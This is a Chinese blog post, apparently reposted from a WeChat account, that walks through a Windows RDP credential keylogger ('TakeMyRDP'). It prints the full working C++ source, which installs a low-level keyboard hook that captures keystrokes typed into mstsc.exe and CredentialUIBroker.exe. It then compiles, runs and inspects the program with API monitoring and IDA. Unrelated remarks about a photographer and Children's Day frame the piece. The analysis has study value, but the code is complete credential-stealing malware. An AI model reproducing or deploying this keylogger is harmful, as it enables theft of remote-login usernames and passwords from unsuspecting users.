在开始之前,推荐一位抖音摄影师 “在新疆的摄像师阿昊”。我经常刷到他,是一位在新疆给女孩拍照并指导女孩如何摆拍、被评价为“全网最销魂的身姿”的摄像师;看着像西北的汉子,却有着细腻的情感表现,反差之下,不感粗俗反觉出尘,是一位有着有趣灵魂的摄像师。他说,谋生很辛苦,但是热爱就不一样了,请你务必一边努力,一边快乐。
正应了:谁不是生活所迫,将自己弄得一身才华!
【导读】
这是一篇综合运用了多种手段分析文章。
伊始,通过代码解读程序的功能;
第二,通过功能展示、程序api进行监视来展现维度;
第三,通过找寻钩子位置展开分析、对比。
【正文】
一、程序源代码分析
我们先来看一段代码,功能是通过消息钩子截获远程登录windows的3389时敲入的IP、用户名、密码。
AI解释如下:这段代码主要是一个键盘记录程序,用于捕获特定进程(例如 mstsc.exe
和 CredentialUIBroker.exe
)的按键事件,并将其记录下来。
1、主要功能概述
(1)获取特定进程的PID:使用 GetProcId
函数通过进程名获取进程ID (PID)。
(2)判断窗口是否属于特定进程:使用 isWindowOfProcessFocused
函数判断当前焦点窗口是否属于特定进程(如 mstsc.exe
和 CredentialUIBroker.exe
)。
(3)键盘钩子函数:使用 KbdHookProc
钩子函数捕获按键事件,并根据按键类型进行处理和记录。
(4)主程序:在主程序中安装全局键盘钩子,并在进入消息循环后,等待和处理键盘事件。
2、代码详细解析
(1)获取进程ID
DWORD GetProcId(const wchar_t* procName) {
DWORD procId = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnap, &pe32)) {
do {
if (!_wcsicmp(procName, pe32.szExeFile)) {
procId = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
}
}
CloseHandle(hSnap);
return procId;
}
该函数使用 CreateToolhelp32Snapshot
和 Process32First/Next
来获取系统中所有进程的快照,并遍历这些进程以找到与 procName
匹配的进程,返回其PID。
(2)判断窗口是否属于特定进程
BOOL isWindowOfProcessFocused(const wchar_t* processName) {
// Get the PID of the process
DWORD pid = GetProcId(processName);
if (pid == 0) {
// Process not found
return FALSE;
}
// Get handle to the active window
HWND hActiveWindow = GetForegroundWindow();
if (hActiveWindow == NULL) {
// No active window found
return FALSE;
}
// Get PID of the active window
DWORD activePid;
GetWindowThreadProcessId(hActiveWindow, &activePid);
// Check if the active window belongs to the process we're interested in
if (activePid != pid) {
// Active window does not belong to the specified process
return FALSE;
}
// If we've gotten this far, the active window belongs to our process
return TRUE;
}
-
该函数获取当前焦点窗口的PID,并检查该窗口是否属于指定进程。
(3)键盘钩子函数
LRESULT CALLBACK KbdHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (isWindowOfProcessFocused(L"mstsc.exe") || isWindowOfProcessFocused(L"CredentialUIBroker.exe")) {
static int prev;
BOOL isLetter = 1;
if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam;
int vkCode = kbdStruct->vkCode;
if (vkCode == 0xA2) { // LCTRL or initial signal of RALT
prev = vkCode;
return CallNextHookEx(NULL, nCode, wParam, lParam); }
if (prev == 0xA2 && vkCode == 0xA5) { // RALT
printf("<RALT>");
isLetter = 0; }
else if (prev == 0xA2 && vkCode != 0xA5) { printf("<LCTRL>"); }
BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
switch (vkCode) {
case 0xA3: printf("<RCTRL>"); isLetter = 0; break;
case 0xA4: printf("<LALT>"); isLetter = 0; break;
case VK_CAPITAL: printf("<CAPSLOCK>"); isLetter = 0; break;
case 0x08: printf("<ESC>"); isLetter = 0; break;
case 0x0D: putchar('n'); isLetter = 0; break;
case VK_OEM_PLUS: shiftPressed ? printf("+") : printf("="); isLetter = 0; break;
case VK_OEM_COMMA: shiftPressed ? printf("<") : printf(","); isLetter = 0; break;
case VK_OEM_MINUS: shiftPressed ? printf("_") : printf("-"); isLetter = 0; break;
case VK_OEM_PERIOD: shiftPressed ? printf(">") : printf("."); isLetter = 0; break;
case VK_OEM_1: shiftPressed ? printf(":") : printf(";"); isLetter = 0; break;
case VK_OEM_2: shiftPressed ? printf("?") : printf("/"); isLetter = 0; break;
case VK_OEM_3: shiftPressed ? printf("~") : printf("`"); isLetter = 0; break;
case VK_OEM_4: shiftPressed ? printf("{") : printf("["); isLetter = 0; break;
case VK_OEM_5: shiftPressed ? printf("|") : printf("\"); isLetter = 0; break;
case VK_OEM_6: shiftPressed ? printf("}") : printf("]"); isLetter = 0; break;
case VK_OEM_7: shiftPressed ? printf(""") : printf("'"); isLetter = 0; break;
default: break; }
prev = vkCode;
if (isLetter) {
BOOL capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
if (vkCode >= 0x41 && vkCode <= 0x5A) {
if (capsLock ^ shiftPressed) { // XOR operation, to check if exactly one of them is TRUE
printf("%c", vkCode); }
else { printf("%c", vkCode + 0x20); // Convert to lowercase }
}
else if (vkCode >= 0x61 && vkCode <= 0x7A) {
if (capsLock ^ shiftPressed) {printf("%c", vkCode - 0x20); // Convert to uppercase }
else { printf("%c", vkCode); }
}
else if (vkCode >= 0x30 && vkCode <= 0x39) { // Check if key is a number key
if (shiftPressed) {
switch (vkCode) {
case '1': printf("!"); break;
case '2': printf("@"); break;
case '3': printf("#"); break;
case '4': printf("$"); break;
case '5': printf("%"); break;
case '6': printf("^"); break;
case '7': printf("&"); break;
case '8': printf("*"); break;
case '9': printf("("); break;
case '0': printf(")"); break;
default: break; }
}
else {printf("%c", vkCode); }
}
}
}
}
else {
// When the active window is not related to the specified processes, don't log.
return CallNextHookEx(NULL, nCode, wParam, lParam); }
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
-
该钩子函数
KbdHookProc
用于捕获键盘事件,当特定进程(mstsc.exe
或CredentialUIBroker.exe
)的窗口处于焦点时,记录按键事件。 -
它会处理不同的键盘输入,包括字母、数字和特殊键(如Ctrl、Alt、Shift等),并将其格式化输出。
(4) 主程序
int main(void) {
printf("nn[+] Starting RDP Data Theftn");
printf("[+] Waiting for RDP related processesnn");
HHOOK kbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KbdHookProc, 0, 0);
while (true) {
MSG msg;
while (!GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
UnhookWindowsHookEx(kbdHook);
return 0;
}
-
主程序设置全局键盘钩子
SetWindowsHookEx
,以捕获键盘事件。 -
进入消息循环
GetMessage
,等待并处理系统消息。 -
当检测到特定进程的窗口处于焦点时,捕获并记录按键事件。
(5)结论
这段代码实现了一个简单的键盘记录器,专注于捕获和记录特定进程(如远程桌面连接和凭据UI代理)中的按键事件。这样的代码可能用于合法的调试和测试目的,但也可能被滥用用于恶意活动,因此在使用或修改此类代码时应遵循道德规范和法律法规。
二、进程分析
1、用vs2022编译,生成takemyrdp.exe;
2、运行它,出现界面,如图:
3、打开mstsc,登录一个windows虚拟机,看看,发现它在记录,如下,
因为再次登录时,默认用户名为administrator,不用再敲入了,所以键盘钩子没记录到。
4、监听钩子api。因为程序里用到了 SetWindowsHookEx,我们就来监听这个相关的函数,有3个,如下图,
5、我们来看下它的过程,
(1)Process Started - PID: 14804 | 64-bit | TakeMyRDP.exe | TakeMyRDP.exe
(2)Process Started - PID: 19384 | 64-bit | mstsc.exe | "C:Windowssystem32mstsc.exe"
(3)Process Started - PID: 24380 | 64-bit | CredentialUIBroker.exe | "C:WindowsSystem32CredentialUIBroker.exe" NonAppContainerFailedMip -Embedding
(4)Process Stopped - PID: 24380 | CredentialUIBroker.exe
(5)Process Started - PID: 24488 | 64-bit | taskhostw.exe | taskhostw.exe Install $(Arg0)
(6)Process Started - PID: 4772 | 64-bit | TrustedInstaller.exe | C:WindowsservicingTrustedInstaller.exe
(7)Process Started - PID: 22604 | 64-bit | TiWorker.exe | C:Windowswinsxsamd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.262_none_e73f0197262d9fecTiWorker.exe -Embedding
(8)Service Started - PID: 4772 | 64-bit | TrustedInstaller | Windows Modules Installer | C:WindowsservicingTrustedInstaller.exe
(9)Process Stopped - PID: 19384 | mstsc.exe
(10)Process Stopped - PID: 24488 | taskhostw.exe
我们通过监听api,发现调用了mstsc和CredentialUIBroker;
6、用进程工具查看,
查看它的消息钩子,
类型为WH_KEYBOARD_LL,即为消息钩子;
偏移在 0x00007FF63F97104B;我们来查此偏移的代码,
是个跳转语句,指向 0x00007FF63F971990;我们来看此偏移,
这句应该就是KbHookProc代码处;
源代码中是C++,这里汇编,我们还是到IDA的同位置来查看。
三、程序静态分析
1、IDA x64载入takemyrdp.exe;
2、从程序入口看,main函数
发现了SetWindowsHookExW函数;
进入钩子替换代码处,即1990处;
说明静态分析和从内存中发现的代码是一致;
后记:今天值班,本来看这个程序代码时,没有想到要做这些;消息钩子已不是什么新东西;突然看到“巴勒斯坦空投食品”以及下面这张,感慨万千,
今天是“六.一”儿童节,跟她们相比,我们的孩子们无忧无虑地生活在这么美好的国度里面,是多么地幸运和幸福!愿世界早日没有战争!
原文始发于微信公众号(MicroPest):一个键盘消息钩子的分析过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论